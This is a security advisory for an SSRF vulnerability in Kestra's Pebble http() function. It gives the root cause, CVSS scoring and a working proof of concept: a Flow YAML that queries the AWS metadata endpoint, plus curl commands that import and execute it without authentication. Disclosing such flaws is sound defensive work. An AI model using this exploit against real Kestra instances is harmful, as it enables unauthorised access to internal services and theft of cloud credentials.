GHSA-r56g-q4p6-m3p6 Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata

• Maven io.kestra:core: <= 1.3.31 (no fix yet) • Maven io.kestra:kestra-core: < 2.0.0 → fixed in 2.0.0

Summary The Pebble template engine's `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration. Details The root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106): 1. No URL validation: User input is passed directly to `URI.create()` with no checks for private IPs, internal hosts, or restricted schemes 2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1 3. No scheme restriction: `file://`, `gopher://` schemes are not blocked 4. No authentication required: `TenantValidationFilter.java` only checks tenant == "main" — no authentication 5. Unconditional registration: `HttpFunction` is registered without any feature flags in `Extension.java:180` PoC Prerequisites: ```bash docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local sleep 30 ``` Step 1: Create malicious Flow YAML ```yaml cat > /tmp/ssrf_poc.yaml << 'YAML' id: ssrf_metadata namespace: company.team tasks: • id: exfiltrate type: io.kestra.plugin.core.log.Log message: | {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }} YAML ``` Step 2: Import without authentication ```bash curl -X POST http://localhost:8080/api/v1/main/flows/import \ -F "fileUpload=@/tmp/ssrf_poc.yaml" ``` Step 3: Execute the flow ```bash curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata ``` Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available) Impact • CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N • CWE: CWE-918 (Server-Side Request Forgery) • Affected: All Kestra OSS versions (default deployment) • Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft